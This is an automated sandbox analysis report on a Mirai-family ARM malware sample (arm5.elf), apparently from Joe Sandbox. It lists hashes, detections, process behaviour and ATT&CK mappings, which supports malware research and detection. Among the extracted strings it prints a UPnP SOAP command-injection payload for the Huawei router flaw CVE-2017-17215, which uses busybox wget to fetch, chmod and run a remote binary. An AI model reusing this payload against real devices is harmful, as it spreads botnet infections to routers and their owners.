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Linux Analysis Report
arm5.elf

Overview

General Information

Sample name:	arm5.elf
Analysis ID:	1524324
MD5:	87ae422aa97d2bc195a010751f04073a
SHA1:	608628e1703d569f032e79e1b9dd4ac68f070c12
SHA256:	3b89545a62715dfdbb0d0c3962f2434a30c62d59a7cd25ff072b06d3757ab217
Tags:	404CVE-2017-17215elfuser-NDA0E
Infos:

Detection

Mirai

Score:	76
Range:	0 - 100
Whitelisted:	false

Signatures

Antivirus / Scanner detection for submitted sample

Multi AV Scanner detection for submitted file

Yara detected Mirai

Sample reads /proc/mounts (often used for finding a writable filesystem)

Enumerates processes within the "proc" file system

Sample contains strings indicative of BusyBox which embeds multiple Unix commands in a single executable

Sample has stripped symbol table

Sample listens on a socket

Sample tries to kill a process (SIGKILL)

Sleeps for long times indicative of sandbox evasion

Uses the "uname" system call to query kernel version information (possible evasion)

Classification

General Information

Joe Sandbox version:	41.0.0 Charoite
Analysis ID:	1524324
Start date and time:	2024-10-02 18:24:02 +02:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 4m 59s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	defaultlinuxfilecookbook.jbs
Analysis system description:	Ubuntu Linux 20.04 x64 (Kernel 5.4.0-72, Firefox 91.0, Evince Document Viewer 3.36.10, LibreOffice 6.4.7.2, OpenJDK 11.0.11)
Analysis Mode:	default
Sample name:	arm5.elf
Detection:	MAL
Classification:	mal76.troj.linELF@0/0@0/0

Warnings

Skipping network analysis since amount of network traffic is too extensive
VT rate limit hit for: arm5.elf

Runtime Messages

Command:	/tmp/arm5.elf
PID:	5479
Exit Code:	0
Exit Code Info:
Killed:	False
Standard Output:	hail china mainland
Standard Error:

Process Tree

system is lnxubuntu20

arm5.elf (PID: 5479, Parent: 5405, MD5: 5ebfcae4fe2471fcc5695c2394773ff1) Arguments: /tmp/arm5.elf

arm5.elf New Fork (PID: 5482, Parent: 5479)

arm5.elf New Fork (PID: 5492, Parent: 5482)

arm5.elf New Fork (PID: 5494, Parent: 5482)

arm5.elf New Fork (PID: 5496, Parent: 5494)

arm5.elf New Fork (PID: 5484, Parent: 5479)

arm5.elf New Fork (PID: 5485, Parent: 5479)

arm5.elf New Fork (PID: 5489, Parent: 5485)

arm5.elf New Fork (PID: 5588, Parent: 5485)

arm5.elf New Fork (PID: 5590, Parent: 5588)

cleanup

Malware Threat Intel

Provided by

Name	Description	Attribution	Blogpost URLs	Link
Mirai	Mirai is one of the first significant botnets targeting exposed networking devices running Linux. Found in August 2016 by MalwareMustDie, its name means "future" in Japanese. Nowadays it targets a wide range of networked embedded devices such as IP cameras, home routers (many vendors involved), and other IoT devices. Since the source code was published on "Hack Forums" many variants of the Mirai family appeared, infecting mostly home networks all around the world.	No Attribution	http://osint.bambenekconsulting.com/feeds/ http://www.simonroses.com/2016/10/mirai-ddos-botnet-source-code-binary-analysis/ https://blog.malwaremustdie.org/2020/02/mmd-0065-2021-linuxmirai-fbot-re.html https://blog.netlab.360.com/another-lilin-dvr-0-day-being-used-to-spread-mirai-en/ https://blog.netlab.360.com/mirai_ptea-botnet-is-exploiting-undisclosed-kguard-dvr-vulnerability-en/	https://malpedia.caad.fkie.fraunhofer.de/details/elf.mirai

Yara Signatures

Initial Sample

Source	Rule	Description	Author	Strings
arm5.elf	JoeSecurity_Mirai_6	Yara detected Mirai	Joe Security
arm5.elf	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security

Memory Dumps

Source	Rule	Description	Author
5479.1.00007fce0c017000.00007fce0c029000.r-x.sdmp	JoeSecurity_Mirai_6	Yara detected Mirai	Joe Security
5479.1.00007fce0c017000.00007fce0c029000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
5482.1.00007fce0c017000.00007fce0c029000.r-x.sdmp	JoeSecurity_Mirai_6	Yara detected Mirai	Joe Security
5482.1.00007fce0c017000.00007fce0c029000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
5494.1.00007fce0c017000.00007fce0c029000.r-x.sdmp	JoeSecurity_Mirai_6	Yara detected Mirai	Joe Security
5494.1.00007fce0c017000.00007fce0c029000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
5588.1.00007fce0c017000.00007fce0c029000.r-x.sdmp	JoeSecurity_Mirai_6	Yara detected Mirai	Joe Security
5588.1.00007fce0c017000.00007fce0c029000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
5590.1.00007fce0c017000.00007fce0c029000.r-x.sdmp	JoeSecurity_Mirai_6	Yara detected Mirai	Joe Security
5590.1.00007fce0c017000.00007fce0c029000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
Process Memory Space: arm5.elf PID: 5479	JoeSecurity_Mirai_6	Yara detected Mirai	Joe Security
Process Memory Space: arm5.elf PID: 5482	JoeSecurity_Mirai_6	Yara detected Mirai	Joe Security
Process Memory Space: arm5.elf PID: 5494	JoeSecurity_Mirai_6	Yara detected Mirai	Joe Security
Process Memory Space: arm5.elf PID: 5588	JoeSecurity_Mirai_6	Yara detected Mirai	Joe Security
Process Memory Space: arm5.elf PID: 5590	JoeSecurity_Mirai_6	Yara detected Mirai	Joe Security
Click to see the 10 entries

Suricata Signatures

⊘No Suricata rule has matched

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

AV Detection

Antivirus / Scanner detection for submitted sample

Source: arm5.elf

Avira: detected

Multi AV Scanner detection for submitted file

Source: arm5.elf

ReversingLabs: Detection: 57%

Source: /tmp/arm5.elf (PID: 5479)

Socket: 127.0.0.1:1172

Jump to behavior

Source: arm5.elf	String found in binary or memory: http://schemas.xmlsoap.org/soap/encoding/
Source: arm5.elf	String found in binary or memory: http://schemas.xmlsoap.org/soap/envelope/

Source: Initial sample	String containing 'busybox' found: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g
Source: Initial sample	String containing 'busybox' found: -l /tmp/ki -r /hmips; /bin/busybox chmod 777 * /tmp/ki; /tmp/ki huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: Initial sample	String containing 'busybox' found: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g -l /tmp/ki -r /hmips; /bin/busybox chmod 777 * /tmp/ki; /tmp/ki huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Source: ELF static info symbol of initial sample

.symtab present: no

Source: /tmp/arm5.elf (PID: 5590)

SIGKILL sent: pid: 5588, result: successful

Jump to behavior

Source: classification engine

Classification label: mal76.troj.linELF@0/0@0/0

Persistence and Installation Behavior

Sample reads /proc/mounts (often used for finding a writable filesystem)

Source: /tmp/arm5.elf (PID: 5482)

File: /proc/5482/mounts

Jump to behavior

Source: /tmp/arm5.elf (PID: 5492)	File opened: /proc/5540/status	Jump to behavior
Source: /tmp/arm5.elf (PID: 5492)	File opened: /proc/5541/status	Jump to behavior
Source: /tmp/arm5.elf (PID: 5492)	File opened: /proc/5322/cmdline	Jump to behavior
Source: /tmp/arm5.elf (PID: 5492)	File opened: /proc/5520/status	Jump to behavior
Source: /tmp/arm5.elf (PID: 5492)	File opened: /proc/5542/status	Jump to behavior
Source: /tmp/arm5.elf (PID: 5492)	File opened: /proc/5521/status	Jump to behavior
Source: /tmp/arm5.elf (PID: 5492)	File opened: /proc/5543/status	Jump to behavior
Source: /tmp/arm5.elf (PID: 5492)	File opened: /proc/5519/status	Jump to behavior
Source: /tmp/arm5.elf (PID: 5492)	File opened: /proc/5511/status	Jump to behavior
Source: /tmp/arm5.elf (PID: 5492)	File opened: /proc/5555/status	Jump to behavior
Source: /tmp/arm5.elf (PID: 5492)	File opened: /proc/5512/status	Jump to behavior
Source: /tmp/arm5.elf (PID: 5492)	File opened: /proc/5556/status	Jump to behavior
Source: /tmp/arm5.elf (PID: 5492)	File opened: /proc/5513/status	Jump to behavior
Source: /tmp/arm5.elf (PID: 5492)	File opened: /proc/5557/status	Jump to behavior
Source: /tmp/arm5.elf (PID: 5492)	File opened: /proc/5514/status	Jump to behavior
Source: /tmp/arm5.elf (PID: 5492)	File opened: /proc/5515/status	Jump to behavior
Source: /tmp/arm5.elf (PID: 5492)	File opened: /proc/5516/status	Jump to behavior
Source: /tmp/arm5.elf (PID: 5492)	File opened: /proc/5538/status	Jump to behavior
Source: /tmp/arm5.elf (PID: 5492)	File opened: /proc/5517/status	Jump to behavior
Source: /tmp/arm5.elf (PID: 5492)	File opened: /proc/5539/status	Jump to behavior
Source: /tmp/arm5.elf (PID: 5492)	File opened: /proc/5518/status	Jump to behavior
Source: /tmp/arm5.elf (PID: 5492)	File opened: /proc/5550/status	Jump to behavior
Source: /tmp/arm5.elf (PID: 5492)	File opened: /proc/5551/status	Jump to behavior
Source: /tmp/arm5.elf (PID: 5492)	File opened: /proc/5552/status	Jump to behavior
Source: /tmp/arm5.elf (PID: 5492)	File opened: /proc/5553/status	Jump to behavior
Source: /tmp/arm5.elf (PID: 5492)	File opened: /proc/5510/status	Jump to behavior
Source: /tmp/arm5.elf (PID: 5492)	File opened: /proc/5554/status	Jump to behavior
Source: /tmp/arm5.elf (PID: 5492)	File opened: /proc/5508/status	Jump to behavior
Source: /tmp/arm5.elf (PID: 5492)	File opened: /proc/1/cmdline	Jump to behavior
Source: /tmp/arm5.elf (PID: 5492)	File opened: /proc/5509/status	Jump to behavior
Source: /tmp/arm5.elf (PID: 5492)	File opened: /proc/5522/status	Jump to behavior
Source: /tmp/arm5.elf (PID: 5492)	File opened: /proc/5544/status	Jump to behavior
Source: /tmp/arm5.elf (PID: 5492)	File opened: /proc/5523/status	Jump to behavior
Source: /tmp/arm5.elf (PID: 5492)	File opened: /proc/5545/status	Jump to behavior
Source: /tmp/arm5.elf (PID: 5492)	File opened: /proc/5524/status	Jump to behavior
Source: /tmp/arm5.elf (PID: 5492)	File opened: /proc/5546/status	Jump to behavior
Source: /tmp/arm5.elf (PID: 5492)	File opened: /proc/5525/status	Jump to behavior
Source: /tmp/arm5.elf (PID: 5492)	File opened: /proc/5547/status	Jump to behavior
Source: /tmp/arm5.elf (PID: 5492)	File opened: /proc/5548/status	Jump to behavior
Source: /tmp/arm5.elf (PID: 5492)	File opened: /proc/5549/status	Jump to behavior
Source: /tmp/arm5.elf (PID: 5492)	File opened: /proc/5507/status	Jump to behavior
Source: /tmp/arm5.elf (PID: 5484)	File opened: /proc/5482/cmdline	Jump to behavior
Source: /tmp/arm5.elf (PID: 5484)	File opened: /proc/5540/status	Jump to behavior
Source: /tmp/arm5.elf (PID: 5484)	File opened: /proc/5541/status	Jump to behavior
Source: /tmp/arm5.elf (PID: 5484)	File opened: /proc/5322/cmdline	Jump to behavior
Source: /tmp/arm5.elf (PID: 5484)	File opened: /proc/5520/status	Jump to behavior
Source: /tmp/arm5.elf (PID: 5484)	File opened: /proc/5542/status	Jump to behavior
Source: /tmp/arm5.elf (PID: 5484)	File opened: /proc/5521/status	Jump to behavior
Source: /tmp/arm5.elf (PID: 5484)	File opened: /proc/5543/status	Jump to behavior
Source: /tmp/arm5.elf (PID: 5484)	File opened: /proc/5519/status	Jump to behavior
Source: /tmp/arm5.elf (PID: 5484)	File opened: /proc/5511/status	Jump to behavior
Source: /tmp/arm5.elf (PID: 5484)	File opened: /proc/5555/status	Jump to behavior
Source: /tmp/arm5.elf (PID: 5484)	File opened: /proc/5512/status	Jump to behavior
Source: /tmp/arm5.elf (PID: 5484)	File opened: /proc/5556/status	Jump to behavior
Source: /tmp/arm5.elf (PID: 5484)	File opened: /proc/5513/status	Jump to behavior
Source: /tmp/arm5.elf (PID: 5484)	File opened: /proc/5557/status	Jump to behavior
Source: /tmp/arm5.elf (PID: 5484)	File opened: /proc/5514/status	Jump to behavior
Source: /tmp/arm5.elf (PID: 5484)	File opened: /proc/5515/status	Jump to behavior
Source: /tmp/arm5.elf (PID: 5484)	File opened: /proc/5516/status	Jump to behavior
Source: /tmp/arm5.elf (PID: 5484)	File opened: /proc/5538/status	Jump to behavior
Source: /tmp/arm5.elf (PID: 5484)	File opened: /proc/5517/status	Jump to behavior
Source: /tmp/arm5.elf (PID: 5484)	File opened: /proc/5539/status	Jump to behavior
Source: /tmp/arm5.elf (PID: 5484)	File opened: /proc/5518/status	Jump to behavior
Source: /tmp/arm5.elf (PID: 5484)	File opened: /proc/5492/status	Jump to behavior
Source: /tmp/arm5.elf (PID: 5484)	File opened: /proc/5494/status	Jump to behavior
Source: /tmp/arm5.elf (PID: 5484)	File opened: /proc/5494/cmdline	Jump to behavior
Source: /tmp/arm5.elf (PID: 5484)	File opened: /proc/5550/status	Jump to behavior
Source: /tmp/arm5.elf (PID: 5484)	File opened: /proc/5496/status	Jump to behavior
Source: /tmp/arm5.elf (PID: 5484)	File opened: /proc/5551/status	Jump to behavior
Source: /tmp/arm5.elf (PID: 5484)	File opened: /proc/5552/status	Jump to behavior
Source: /tmp/arm5.elf (PID: 5484)	File opened: /proc/5553/status	Jump to behavior
Source: /tmp/arm5.elf (PID: 5484)	File opened: /proc/5510/status	Jump to behavior
Source: /tmp/arm5.elf (PID: 5484)	File opened: /proc/5554/status	Jump to behavior
Source: /tmp/arm5.elf (PID: 5484)	File opened: /proc/5508/status	Jump to behavior
Source: /tmp/arm5.elf (PID: 5484)	File opened: /proc/1/cmdline	Jump to behavior
Source: /tmp/arm5.elf (PID: 5484)	File opened: /proc/5509/status	Jump to behavior
Source: /tmp/arm5.elf (PID: 5484)	File opened: /proc/5522/status	Jump to behavior
Source: /tmp/arm5.elf (PID: 5484)	File opened: /proc/5544/status	Jump to behavior
Source: /tmp/arm5.elf (PID: 5484)	File opened: /proc/5523/status	Jump to behavior
Source: /tmp/arm5.elf (PID: 5484)	File opened: /proc/5545/status	Jump to behavior
Source: /tmp/arm5.elf (PID: 5484)	File opened: /proc/5524/status	Jump to behavior
Source: /tmp/arm5.elf (PID: 5484)	File opened: /proc/5546/status	Jump to behavior
Source: /tmp/arm5.elf (PID: 5484)	File opened: /proc/5525/status	Jump to behavior
Source: /tmp/arm5.elf (PID: 5484)	File opened: /proc/5547/status	Jump to behavior
Source: /tmp/arm5.elf (PID: 5484)	File opened: /proc/5548/status	Jump to behavior
Source: /tmp/arm5.elf (PID: 5484)	File opened: /proc/5549/status	Jump to behavior
Source: /tmp/arm5.elf (PID: 5484)	File opened: /proc/5507/status	Jump to behavior

Source: /tmp/arm5.elf (PID: 5590)

Sleeps longer then 60s: 60.0s

Jump to behavior

Source: /tmp/arm5.elf (PID: 5479)

Queries kernel information via 'uname':

Jump to behavior

Source: arm5.elf, 5479.1.00007ffc283c8000.00007ffc283e9000.rw-.sdmp, arm5.elf, 5482.1.00007ffc283c8000.00007ffc283e9000.rw-.sdmp, arm5.elf, 5494.1.00007ffc283c8000.00007ffc283e9000.rw-.sdmp, arm5.elf, 5588.1.00007ffc283c8000.00007ffc283e9000.rw-.sdmp, arm5.elf, 5590.1.00007ffc283c8000.00007ffc283e9000.rw-.sdmp	Binary or memory string: x86_64/usr/bin/qemu-arm/tmp/arm5.elfSUDO_USER=saturninoPATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/snap/binDISPLAY=:1.0XAUTHORITY=/run/user/1000/gdm/XauthoritySUDO_UID=1000TERM=xterm-256colorCOLORTERM=truecolorLOGNAME=rootUSER=rootLANG=en_US.UTF-8SUDO_COMMAND=/bin/bashHOME=/rootMAIL=/var/mail/rootSUDO_GID=1000SHELL=/bin/bash/tmp/arm5.elf
Source: arm5.elf, 5479.1.000055c3ff021000.000055c3ff197000.rw-.sdmp, arm5.elf, 5482.1.000055c3ff021000.000055c3ff197000.rw-.sdmp, arm5.elf, 5494.1.000055c3ff021000.000055c3ff197000.rw-.sdmp, arm5.elf, 5588.1.000055c3ff021000.000055c3ff197000.rw-.sdmp, arm5.elf, 5590.1.000055c3ff021000.000055c3ff197000.rw-.sdmp	Binary or memory string: U!/etc/qemu-binfmt/arm
Source: arm5.elf, 5479.1.000055c3ff021000.000055c3ff197000.rw-.sdmp, arm5.elf, 5482.1.000055c3ff021000.000055c3ff197000.rw-.sdmp, arm5.elf, 5494.1.000055c3ff021000.000055c3ff197000.rw-.sdmp, arm5.elf, 5588.1.000055c3ff021000.000055c3ff197000.rw-.sdmp, arm5.elf, 5590.1.000055c3ff021000.000055c3ff197000.rw-.sdmp	Binary or memory string: /etc/qemu-binfmt/arm
Source: arm5.elf, 5479.1.00007ffc283c8000.00007ffc283e9000.rw-.sdmp, arm5.elf, 5482.1.00007ffc283c8000.00007ffc283e9000.rw-.sdmp, arm5.elf, 5494.1.00007ffc283c8000.00007ffc283e9000.rw-.sdmp, arm5.elf, 5588.1.00007ffc283c8000.00007ffc283e9000.rw-.sdmp, arm5.elf, 5590.1.00007ffc283c8000.00007ffc283e9000.rw-.sdmp	Binary or memory string: /usr/bin/qemu-arm
Source: arm5.elf, 5494.1.00007ffc283c8000.00007ffc283e9000.rw-.sdmp	Binary or memory string: qemu: uncaught target signal 11 (Segmentation fault) - core dumped

Stealing of Sensitive Information

Yara detected Mirai

Source: Yara match	File source: arm5.elf, type: SAMPLE
Source: Yara match	File source: 5479.1.00007fce0c017000.00007fce0c029000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 5482.1.00007fce0c017000.00007fce0c029000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 5494.1.00007fce0c017000.00007fce0c029000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 5588.1.00007fce0c017000.00007fce0c029000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 5590.1.00007fce0c017000.00007fce0c029000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: arm5.elf PID: 5479, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: arm5.elf PID: 5482, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: arm5.elf PID: 5494, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: arm5.elf PID: 5588, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: arm5.elf PID: 5590, type: MEMORYSTR

Remote Access Functionality

Yara detected Mirai

Source: Yara match	File source: arm5.elf, type: SAMPLE
Source: Yara match	File source: 5479.1.00007fce0c017000.00007fce0c029000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 5482.1.00007fce0c017000.00007fce0c029000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 5494.1.00007fce0c017000.00007fce0c029000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 5588.1.00007fce0c017000.00007fce0c029000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 5590.1.00007fce0c017000.00007fce0c029000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: arm5.elf PID: 5479, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: arm5.elf PID: 5482, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: arm5.elf PID: 5494, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: arm5.elf PID: 5588, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: arm5.elf PID: 5590, type: MEMORYSTR

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	Acquire Infrastructure	Valid Accounts	Windows Management Instrumentation	Path Interception	Path Interception	1 Virtualization/Sandbox Evasion	1 OS Credential Dumping	11 Security Software Discovery	Remote Services	Data from Local System	Data Obfuscation	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	Scheduled Task/Job	Boot or Logon Initialization Scripts	Boot or Logon Initialization Scripts	Rootkit	LSASS Memory	1 Virtualization/Sandbox Evasion	Remote Desktop Protocol	Data from Removable Media	Junk Data	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	At	Logon Script (Windows)	Logon Script (Windows)	Obfuscated Files or Information	Security Account Manager	1 File and Directory Discovery	SMB/Windows Admin Shares	Data from Network Shared Drive	Steganography	Automated Exfiltration	Data Encrypted for Impact

Malware Configuration

⊘No configs have been found

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Number of created Files
Is malicious
Internet

Screenshots

Thumbnails

This section contains all screenshots as thumbnails, including those not shown in the slideshow.

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Source	Detection	Scanner	Label	Link
arm5.elf	58%	ReversingLabs	Linux.Trojan.Mirai
arm5.elf	100%	Avira	EXP/ELF.Mirai.Hua.c

Dropped Files

⊘No Antivirus matches

Domains

⊘No Antivirus matches

URLs

Source	Detection	Scanner	Label	Link
http://schemas.xmlsoap.org/soap/encoding/	0%	URL Reputation	safe
http://schemas.xmlsoap.org/soap/envelope/	0%	URL Reputation	safe

Domains and IPs

Contacted Domains

⊘No contacted domains info

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
http://schemas.xmlsoap.org/soap/encoding/	arm5.elf	false	URL Reputation: safe	unknown
http://schemas.xmlsoap.org/soap/envelope/	arm5.elf	false	URL Reputation: safe	unknown

World Map of Contacted IPs

⊘No contacted IP infos

Joe Sandbox View / Context

IPs

⊘No context

Domains

⊘No context

ASNs

⊘No context

JA3 Fingerprints

⊘No context

Dropped Files

⊘No context

Created / dropped Files

⊘No created / dropped files found

Static File Info

General

File type:	ELF 32-bit LSB executable, ARM, version 1 (ARM), statically linked, stripped
Entropy (8bit):	6.116894458379683
TrID:	ELF Executable and Linkable format (generic) (4004/1) 100.00%
File name:	arm5.elf
File size:	73'108 bytes
MD5:	87ae422aa97d2bc195a010751f04073a
SHA1:	608628e1703d569f032e79e1b9dd4ac68f070c12
SHA256:	3b89545a62715dfdbb0d0c3962f2434a30c62d59a7cd25ff072b06d3757ab217
SHA512:	06caa33401a35204f83141c16eddbfd7dd4f0aea3e7af07117aa16ca913fe25282d2489101a1707bb359540c507216cab3d2eb55d2d5b3410b8658ebdcba3e95
SSDEEP:	1536:aVjijNZBuCE/F/5pj8WpyiwKRidB9QHuQ1veu3m/f:aVcA5vyiwKRidB9Qc33
TLSH:	76632B81FD819B12C6D122B6FB2E428D772753A8D3EE72139D259F20378792B0E77641
File Content Preview:	.ELF...a..........(.........4...........4. ...(.....................(...(...............,...,...,.......4T..........Q.td..................................-...L."...a>..........0@-.\P...0....S.0...P@...0... ....R......0...0...........0... ....R..... 0....S

Static ELF Info

ELF header
Class:	ELF32
Data:	2's complement, little endian
Version:	1 (current)
Machine:	ARM
Version Number:	0x1
Type:	EXEC (Executable file)
OS/ABI:	ARM - ABI
ABI Version:	0
Entry Point Address:	0x8190
Flags:	0x2
ELF Header Size:	52
Program Header Offset:	52
Program Header Size:	32
Number of Program Headers:	3
Section Header Offset:	72708
Section Header Size:	40
Number of Section Headers:	10
Header String Table Index:	9

Sections

Name	Type	Address	Offset	Size	EntSize	Flags	Flags Description	Align
	NULL	0x0	0x0	0x0	0x0	0x0		0
.init	PROGBITS	0x8094	0x94	0x18	0x0	0x6	AX	4
.text	PROGBITS	0x80b0	0xb0	0xf9bc	0x0	0x6	AX	16
.fini	PROGBITS	0x17a6c	0xfa6c	0x14	0x0	0x6	AX	4
.rodata	PROGBITS	0x17a80	0xfa80	0x1da8	0x0	0x2	A	4
.ctors	PROGBITS	0x2182c	0x1182c	0x8	0x0	0x3	WA	4
.dtors	PROGBITS	0x21834	0x11834	0x8	0x0	0x3	WA	4
.data	PROGBITS	0x21840	0x11840	0x384	0x0	0x3	WA	4
.bss	NOBITS	0x21bc4	0x11bc4	0x509c	0x0	0x3	WA	4
.shstrtab	STRTAB	0x0	0x11bc4	0x3e	0x0	0x0		1

Program Segments

Type	Offset	Virtual Address	Physical Address	File Size	Memory Size	Entropy	Flags	Flags Description	Align	Section Mappings
LOAD	0x0	0x8000	0x8000	0x11828	0x11828	6.1494	0x5	R E	0x8000	.init .text .fini .rodata
LOAD	0x1182c	0x2182c	0x2182c	0x398	0x5434	2.8452	0x6	RW	0x8000	.ctors .dtors .data .bss
GNU_STACK	0x0	0x0	0x0	0x0	0x0	0.0000	0x7	RWE	0x4

Network Behavior

⊘Skipped network analysis since the amount of network traffic is too extensive. Please download the PCAP and check manually.

System Behavior

Analysis Process: arm5.elf PID: 5479, Parent PID: 5405

General

Start time (UTC):	16:24:49
Start date (UTC):	02/10/2024
Path:	/tmp/arm5.elf
Arguments:	/tmp/arm5.elf
File size:	4956856 bytes
MD5 hash:	5ebfcae4fe2471fcc5695c2394773ff1

Chronological Activities

Analysis Process: arm5.elf PID: 5482, Parent PID: 5479

General

Start time (UTC):	16:24:49
Start date (UTC):	02/10/2024
Path:	/tmp/arm5.elf
Arguments:	-
File size:	4956856 bytes
MD5 hash:	5ebfcae4fe2471fcc5695c2394773ff1

Chronological Activities

Analysis Process: arm5.elf PID: 5492, Parent PID: 5482

General

Start time (UTC):	16:24:49
Start date (UTC):	02/10/2024
Path:	/tmp/arm5.elf
Arguments:	-
File size:	4956856 bytes
MD5 hash:	5ebfcae4fe2471fcc5695c2394773ff1

Chronological Activities

Analysis Process: arm5.elf PID: 5494, Parent PID: 5482

General

Start time (UTC):	16:24:49
Start date (UTC):	02/10/2024
Path:	/tmp/arm5.elf
Arguments:	-
File size:	4956856 bytes
MD5 hash:	5ebfcae4fe2471fcc5695c2394773ff1

Chronological Activities

Analysis Process: arm5.elf PID: 5496, Parent PID: 5494

General

Start time (UTC):	16:24:49
Start date (UTC):	02/10/2024
Path:	/tmp/arm5.elf
Arguments:	-
File size:	4956856 bytes
MD5 hash:	5ebfcae4fe2471fcc5695c2394773ff1

Chronological Activities

Analysis Process: arm5.elf PID: 5484, Parent PID: 5479

General

Start time (UTC):	16:24:49
Start date (UTC):	02/10/2024
Path:	/tmp/arm5.elf
Arguments:	-
File size:	4956856 bytes
MD5 hash:	5ebfcae4fe2471fcc5695c2394773ff1

Chronological Activities

Analysis Process: arm5.elf PID: 5485, Parent PID: 5479

General

Start time (UTC):	16:24:49
Start date (UTC):	02/10/2024
Path:	/tmp/arm5.elf
Arguments:	-
File size:	4956856 bytes
MD5 hash:	5ebfcae4fe2471fcc5695c2394773ff1

Chronological Activities

Analysis Process: arm5.elf PID: 5489, Parent PID: 5485

General

Start time (UTC):	16:24:49
Start date (UTC):	02/10/2024
Path:	/tmp/arm5.elf
Arguments:	-
File size:	4956856 bytes
MD5 hash:	5ebfcae4fe2471fcc5695c2394773ff1

Chronological Activities

Analysis Process: arm5.elf PID: 5588, Parent PID: 5485

General

Start time (UTC):	16:26:17
Start date (UTC):	02/10/2024
Path:	/tmp/arm5.elf
Arguments:	-
File size:	4956856 bytes
MD5 hash:	5ebfcae4fe2471fcc5695c2394773ff1

Chronological Activities

Analysis Process: arm5.elf PID: 5590, Parent PID: 5588

General

Start time (UTC):	16:26:17
Start date (UTC):	02/10/2024
Path:	/tmp/arm5.elf
Arguments:	-
File size:	4956856 bytes
MD5 hash:	5ebfcae4fe2471fcc5695c2394773ff1

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to dump credentials to obtain account login and credential material, normally in the form of a hash or a clear text password, from the operating system and software. Credentials can then be used to perform Lateral Movement and access restricted information.
Tactics:	Credential Access
Data Sources:	Active Directory: Active Directory Object Access, Command: Command Execution, File: File Access, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow, Process: OS API Execution, Process: Process Access, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Firewall: Firewall Enumeration, Firewall: Firewall Metadata, Process: OS API Execution, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

